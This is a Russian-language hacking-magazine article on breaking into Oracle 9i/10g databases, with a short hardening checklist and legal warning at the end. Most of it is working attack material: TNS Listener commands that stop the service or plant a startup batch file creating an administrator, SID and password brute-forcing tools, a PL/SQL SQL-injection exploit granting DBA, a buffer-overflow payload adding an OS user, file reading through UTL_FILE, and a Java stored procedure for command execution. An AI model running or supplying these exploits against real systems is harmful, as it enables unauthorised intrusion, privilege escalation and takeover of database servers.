Анализ защищенности корпоративных сетей все чаще показывает, что уровень обеспечения безопасности заметно возрос: администраторы своевременно устанавливают системные обновления, стандартные пароли на активное сетевое оборудование встречаются все реже, сети сегментируют и разграничивают доступ, парольная политика во многих системах соблюдается. Однако еще имеет место ряд проблем, которым до сих пор не уделяется должного внимания. Одна из них – это защищенность корпоративных систем управления базами данных, в частности Oracle. О безопасности использования этой СУБД мы сегодня и поговорим.
Одна из них – это защищенность корпоративных систем управления базами данных, в частности Oracle. О безопасности использования этой СУБД мы сегодня и поговорим.
Oracle – одна из самых распространенных СУБД, используемых в корпоративных системах. Поскольку тема безопасности Oracle довольно обширна, была собрана небольшая статистика наиболее распространенных версий СУБД Oraclе в корпоративных сетях. Как оказалось, версия Oracle Database 9i до сих пор самая актуальная (68%), несмотря на то что 10g (20%) вышла уже давно, а недавно выпустили и 11-ю версию. Что касается операционных систем, то Oracle обычно устанавливается на серверы под управлением Windows (41%) и Linux (32%), реже - на HP-UX (19%) и прочих операционках. Следовательно, сосредоточим внимание на Oracle 9i, а также на версии 10G, которая уже в ближайшее время должна ее полностью заменить.
Ломаем Oracle снаружи
Удаленный доступ к базе данных предоставляет сервис Oracle TNS Listener (по умолчанию порт 1521). Листенер принимает клиентские запросы на соединение и направляет их для обработки в соответствующий серверный процесс. Обычно Листенер рассматривается как первый этап на пути вторжения в базы данных. Плохо сконфигурированный незащищенный Листенер подвержен различным атакам, включая удаленное выполнение команд и отказ в обслуживании. В версии Oracle ниже 10g по умолчанию возможно осуществление анонимного подключения и, как следствие, удаленное управление сервисом.
В конфигурации по умолчанию (дефолтной) злоумышленник может получить детальную информацию об атакуемой системе, как то:
- имена баз данных (SIDs), версия СУБД, пути к log-файлам, операционная система, на которой установлена СУБД;
- произвести DoS-атаку;
- выполнять SQL-команды от имени DBA;
- получить удаленный доступ к системе.
Для подключения к Листенеру применяется стандартная утилита lsnrctl, входящая в набор тулз, устанавливаемых с клиентом для СУБД Oracle. Для получения информации используется команда status.
DoS-атака может быть осуществлена с помощью утилиты lsnrctl. Командой stop удаленный неавторизированный пользователь может остановить TNS Listener.
C:\lsnrctl
LSNRCTL> stop
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))
The command completed successfully
LSNRCTL> status
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(KEY=EXTPROC)))
TNS-12541: TNS:no listener
TNS-12560: TNS:protocol adapter errorДля получения удаленного доступа к системе используется скрипт tnscmd2.pl , позволяющий Листенеру выполнять команды и генерировать произвольные пакеты. С помощью команды set log_file удаленный неавторизированный пользователь может изменить файл для хранения логов, например, на исполняемый файл, лежащий в папке автозагрузки пользователя. Далее с помощью утилиты tnscmd2.pl мы можем послать запрос, содержащий системные команды, который в результате сохранится в log-файле. А тот, в свою очередь, запустится при входе пользователя в систему. Для примера рассмотрим получение прав на Windows-сервере.
[root@server]#./tnscmd2.pl -h 192.168.30.13 --rawcmd "(DESCRIPTION=
(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)
(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=C:\Documents and Settings\
Administrator\Start Menu\Programs\Startup\1.bat)))"
[root@server]#./tnscmd2.pl -h 192.168.30.13 --rawcmd "(DESCRIPTION=(CONNECT_DATA=((
> net user new_Admin h@ck3r /add
> net localgroup Administrators new_Admin /add
>В результате этих действий на сервере в папке административной автозагрузки таинственным образом появляется файл, создающий нового локального администратора с известным злоумышленнику паролем. Тем самым мы получаем административный доступ к серверу.
Для защиты TNS Listener существует несколько параметров, которые тем или иным образом повышают его безопасность.
PASSWORD. Если пароль установлен, то неавторизированный злоумышленник сможет выполнять только команды status и version, что совсем небезопасно.ADMIN_RESTRICTIONS– этот параметр во включенном состоянии запрещает любые удаленные изменения конфигурационного файла.LOCAL_OS_AUTHENTICATION– этот параметр во включенном состоянии позволяет управлять Листенером только локально. Удаленно возможно только выполнение команды version, которая выдаст нам версию установленной СУБД и операционной системы.
Так как с точки зрения управления крупной системы предпочтительнее иметь возможность удаленного администрирования Листенера, многие администраторы отключают LOCAL_OS_AUTHENTICATION, но не устанавливают пароль, что делает Oracle 10G таким же уязвимым, как и 9i.
Подключение к СУБД
Для подключения к СУБД кроме имени и пароля необходимо знать имя базы данных (SID). Незащищенный Листенер по умолчанию выдает имена баз данных без аутентификации. Достаточно воспользоваться утилитой lsntctl с опцией services.
LSNRCTL> services
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "orcl" has 1 instance(s).
Instance "orcl", status READY, has 1 handler(s) for this service...
The command completed successfullyНа случай если на Листенер установлен пароль или включена опция LOCAL_OS_AUTHENTICATION, существует множество способов получения имени базы данных.
Вот наиболее распространенные
- Поиск информации в сторонних приложениях.
- Например, СУБД Oracle 10g R2 по умолчанию устанавливает Oracle Application Server, который работает на порту 1158. Этот сервер доступен для удаленного подключения и выдает вместе с окном ввода логина и SID базы данных.
- При установке Oracle в связке с системой SAP/R3 узнать SID базы данных можно, подключившись к приложению SAP web-management, обычно висящему на порту 8001/TCP и отвечающему за управление системой SAP. На запрос несуществующего файла, сервер выдает страницу ошибки, на которой содержится SID базы данных.
- Имя базы данных является стандартным, словарным или частично/полностью совпадает с DNS /NETBIOS-именем хоста, например ORCL.
- Имя базы данных состоит из малого количества символов. Например, все четырехсимвольные имена перебираются в течение двух часов.
- Имя базы данных можно узнать по ссылке из другой базы данных, из файла tnsnames.ora на взломанном хосте, а также, например, прослушивая сетевой трафик.
Для перебора можно воспользоваться программой SIDGUESS. Как видно, способов выяснения SID-а базы данных, не имея доступа к Листенеру, достаточно. В своей практике в 90% случаев тем или иным способом SID базы данных я добывал.
Получив SID базы данных, мы можем пытаться подобрать пароли учетных записей пользователей. СУБД Oracle при установке создает множество системных учетных записей со стандартными паролями, и обычно администраторы забывают отключать или хотя бы менять пароли. К примеру, при установке СУБД Oracle 9 R2 инсталлятор просит ввести новые пароли для учетных записей SYS и SYSTEM, но пароли учетных записей DBSNMP и SCOTT остаются стандартными. Кроме приведенных выше логинов множество приложений, интегрируемых с Oracle, использует свои стандартные системные учетные записи. Список стандартных аккаунтов насчитывает порядка 600 имен и доступен в интернете. Для проверки СУБД на наличие логинов с паролями, установленными по умолчанию, а также для подбора паролей можно воспользоваться утилитой oscanner (www.cqure.net/tools/oscanner_bin_1_0_6.zip).
E:\tools\oscanner_bin>oscanner -s 192.168.30.13Есть несколько моментов, благодаря которым перебор паролей в СУБД Oracle приносит успех:
- Многие системные имена пользователей известны, что позволяет подбирать только пароли.
- По умолчанию ограничений на длину и сложность пароля не установлено.
- Перебор паролей к учетным записям не блокируется.
Базы данных обычно содержат много учетных записей, а нам достаточно подобрать хотя бы одну (не обязательно административную).
В моей практике в 90% случаев перебор паролей к СУБД Oracle завершался успехом и на это требовалось не более 10-15 минут.
Ломаем Oracle изнутри
В отличие от операционных систем, где процесс обновления уже не вызывает трудностей и осуществляется почти в автоматическом режиме, с СУБД Oracle дела обстоят намного хуже. Во-первых, обновления выходят очень редко; во-вторых, до сих пор их установка нетривиальна, и часто может грозить серьезными сбоями в тех случаях, когда Oracle используется в совокупности с какой-либо сторонней системой. Учитывая, что большинство уязвимостей имеет локальный характер, многие администраторы зачастую не уделяют этому должного внимания, а зря. Как мы выяснили, получение локального доступа для злоумышленника не составляет особой проблемы.
Ежеквартально компания Oracle выпускает обновления, закрывающие в среднем около 50 уязвимостей в их продуктах, но большая часть уязвимостей так и остается незакрытой. Основные атаки, совершаемые пользователем против СУБД Oracle, направлены на повышение своих привилегий. Реализовав те или иные уязвимости во встроенных функциях СУБД, злоумышленник может произвести следующие действия:
Повысить привилегий до роли DBA.
- Произвести атаку на отказ в обслуживании или выполнить произвольный код в системе.
- Прочитать хэши паролей пользователей и попытаться в дальнейшем их расшифровать.
- Сменить пароли к учетным записям пользователей, в том числе и администраторов.
Рассмотрим перечисленные варианты более подробно.
SQL-injection
Обычно для повышения привилегий используют уязвимости класса SQL-injection во встроенных процедурах СУБД Oracle. Это самый распространенный тип уязвимостей в СУБД Oracle и в то же время самый опасный, поскольку количество уязвимостей такого типа насчитывает несколько сотен и часть из них до сих пор не устранена.
Поскольку многие из этих процедур выполняются от имени их владельца, которым является пользователь SYS, то, внедрив свой код, мы сможем выполнять произвольные действия от имени системного пользователя. Ситуация аналогична Unix-системам, в которых, найдя уязвимость в SUID-программе и реализовав ее, мы можем повысить свои привилегии в системе. Для примера запустим один из последних эксплойтов, повышающий наши привилегии до роли DBA. Он написан на PL/SQL, и для старта необходимо подключиться к СУБД пользователем SCOTT и запустить его.
CREATE OR REPLACE FUNCTION HACKIT RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN(0);
END;
/
exec SYS.LT.FINDRICSET('.''||SCOTT.HACKIT()||'''')--','x');Сначала создается процедура, которая будет работать от имени того, кто ее запустил (в нашем случае это пользователь SYS). Далее выполняется уязвимая функция, в которую вставлен вызов нашей процедуры. В ходе выполнения функции от имени SYS сработает наша процедура, и пользователь SCOTT получит роль DBA.
Атаки на переполнение буфера
Здесь в принципе все ясно: обычные переполнения встроенных функций с возможностью выполнения DoS-атаки или в некоторых случаях произвольного кода. Существует множество встроенных процедур, параметры которых уязвимы для атаки на переполнение буфера. В качестве примера рассмотрим эксплойт, вызывающий переполнение буфера в функции XDB.DBMS_XMLSCHEMA.GENERATESCHEMA, работающий для версии СУБД Oracle 10 R1 под управлением Windows. Он добавляет в систему пользователя hack. Таким же образом можно создавать произвольные файлы в системе.
SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA ('a',
‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDE'|| chr(212)||chr(100)||chr(201)||chr(01)||chr(141)||chr(68)||
chr(36)||chr(18)||chr(80)||chr(255)||chr(21)||chr(192)||chr(146)||chr(49)||chr(02)||
chr(255)||chr(21)||chr(156)||chr(217)||chr(49)||chr(2)||chr(32)||'net user hack h@ck /add’) FROM DUAL;
Dll patchingПодобная уязвимость была устранена в январе 2006 года, но тем не менее встречается очень часто. Уязвимость существует в процессе обработки подключения клиента к СУБД. После успешного подключения клиентская программа посылает команду ALTER SESSION SET, выполняемую от имени пользователя SYS. Следовательно, нам достаточно изменить в коде клиента команду ALTER SESSION, например, на GRANT DBA (путем модификации dll-библиотеки, которая отвечает за подключение). В результате при подключении непривилегированным пользователем мы автоматически получаем роль DBA.
Evil Views
Еще одна атака заключается в создании представлений (VIEW), с помощью которых возможно изменение/добавление/удаление данных при отсутствии привилегий на эти действия. Для примера рассмотрим вариант, когда у нас имеется таблица TEST с правами на изменение данных.
SQL> select * from TEST;
ID NAME NUMBER
-- ------------ -----------
1 USER1 1000
SQL> update TEST set NUMBER=0;
ERROR at line 1:
ORA-01031: insufficient privileges;Теперь создадим представление (VIEW), содержащее данные из нашей таблицы, и изменим в нем данные. Как мы видим, в результате в исходной таблице данные также изменились.
SQL> create view EVILVIEW as select a.* from (select * from TEST) a
inner join (select * from TEST) b on (a.id=b.id)
SQL> update EVILVIEW set TEST=666;
1 row updated.
SQL> select * from TEST;
ID NAME NUMBER
-- ------------ -----------
1 USER1 666Аналогичные действия можно совершить с системными таблицами типа SYS.USER$.
Получение доступа к операционной системе
Итак, мы выяснили, как получить административный доступ к СУБД Oracle, но это не предел. С правами администратора злоумышленник (при наличии определенных настроек в конфигурации СУБД) может получить доступ к самой операционной системе при помощи встроенных функций. А написав собственные PL/SQL-процедуры - совершать различные действия в системе с правами пользователя, от имени которого запущена СУБД (в Windows Oracle по умолчанию запускается с правами администратора).
Чтение/запись файлов через процедуры UTL_FILE
Этот способ является самым распространенным и к тому же в некоторых случаях требует минимальных привилегий. По умолчанию у пакета UTL_FILE имеется доступ ко всем файлам, так как у него не установлена рабочая директория. Но бывает, что СУБД сконфигурирована таким образом, что значение UTL_FILE установлено в «*». Это означает, что любой пользователь может получить доступ на чтение и запись к произвольным файлам на сервере. В случае если значение UTL_FILE не установлено, для доступа к файловой системе необходимо совершить ряд действий, для которых требуются права CREATE DIRECTORY. Они обычно есть у пользователя DBA. Сначала создается директория, которая указывает на реальную директорию на сервере при помощи команды CREATE OR REPLACE DIRECTORY. А потом запускается одна из процедур из пакета UTL_FILE, например UTL_FILE.fopen.
create or replace directory public_access as 'C:/';
SET SERVEROUTPUT ON
declare
f utl_file.file_type;
sBuffer Varchar(8000);
begin
f:=UTL_FILE.FOPEN ('PUBLIC_ACCESS','boot.ini','r');
loop
UTL_FILE.GET_LINE (f,sBuffer);
DBMS_OUTPUT.PUT_LINE(sBuffer);
end loop;
EXCEPTION
when no_data_found then
UTL_FILE.FCLOSE(f);
end;
/
Получение шелла через Java-процедуры
В Oracle мы можем писать встроенные процедуры на Java. Реально сделать функцию, осуществляющую доступ к файловой системе и командной строке, а затем выполнять произвольные системные команды. Для запуска процедуры необходимо иметь привилегии DBA или права на выполнение процедур из пакета SYS:java. Существует множество вариантов реализации этой программы, но все они в конечном счете используют Java-метод Runtime.getRuntime().exec(). Код процедуры полностью выложен на DVD. Здесь публикуется лишь основной фрагмент:
create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
/*
* Command execution module
*/
public static void execCommand(String command) throws IOException
{
Runtime.getRuntime().exec(command);
} Для выполнения команд пишется небольшой PL/SQL-код. В данном случае вызывается команда set, но мы можем поменять ее, скажем, на net user evil /add, тем самым получив пользователя evil на сервере.
SET SERVEROUTPUT ON SIZE 1000000
CALL DBMS_JAVA.SET_OUTPUT(1000000);
BEGIN
oraexec.execCommand('set');
END;
/Единственным минусом этого способа является тот факт, что поддержка Java может быть отключена или вообще не установлена. Но, по статистике, примерно в 60% случаев прием работает.
Другие способы получения доступа к OC
Существует еще несколько способов получения доступа к файловой системе на случай, когда поддержка Java-процедур не установлена, а доступ к UTL_FILE в целях безопасности тем или иным образом закрыт. Они все принципиально похожи на UTL_FILE и требуют сперва создать директорию при помощи команды CREATE OR REPLACE DIRECTORY.
DBMS_LOB. Существует пакетDBMS_LOB, который функционально похож наUTL_FILE, но менее распространен. Для получения доступа к файловой системе необходимо вызвать процедуруDBMS_LOB.OPENс соответствующими параметрами.DBMS_ADVISOR. В СУБД Oracle 10g есть пакетDBMS_ADVISOR, с помощью которого также можно получить доступ к файловой системе посредством процедурыdbms_advisor.create_fileс соответствующими параметрами.- Также существует множество похожих функций. В одних случаях злоумышленник получит доступ на чтение/запись файлов, в других – полноценный доступ к командной строке с правами пользователя, от которого запущен Oracle, с дальнейшей возможностью повышения привилегий.
Защищаем Oracle
Учитывая все вышесказанное, можно подвести вполне ожидаемый итог: базы данных представляют реальную угрозу безопасности компании. В заключение хотелось бы привести некоторые основные рекомендации по повышению уровня защищенности Oracle:
- Установи пароль на доступ к сервису TNS Listener (даже если база работает только в локальной сети).
- Включи протоколирование подключения к Листенеру для обнаружения попыток перебора паролей.
- Не используй словарные, легко угадываемые SID-имена.
- Ограничь доступ к системам, через которые можно узнать SID.
- Проведи аудит используемых учетных записей: удали или отключи неиспользуемые и смени стандартные пароли системных учетных записей.
- Внедри корпоративную парольную политику в СУБД.
- Установи последние критические обновления или хотя бы ограничь доступ пользователям на запуск потенциально опасных процедур.
- Проанализируй привилегии и роли пользователей, руководствуясь принципом наименьших привилегий.
- Если возможно, отключи возможности доступа пользователей Oracle к файловой системе.
Эти действия помогут наиболее полно защитить СУБД без использования дополнительных программно-аппаратных средств, позволяющих избежать неожиданных хакерских нападений.
WWW
- Список стандартных SID опубликован в открытом доступе: www.red-database-security.com/scripts/sid.txt.
- Подбор SID: www.red-database-security.com/software/sidguess.zip.
- Список паролей по умолчанию: здесь.
- Последние эксплойты: http://milw0rm.com.
INFO
По умолчанию СУБД Oracle в Windows запускается с правами администратора.
Warning
Внимание! Взлом чужих баз карается статьей 272 УК РФ! Не вздумай нарушать закон. И помни, что ни редакция, ни автор за твои действия ответственности не несут.
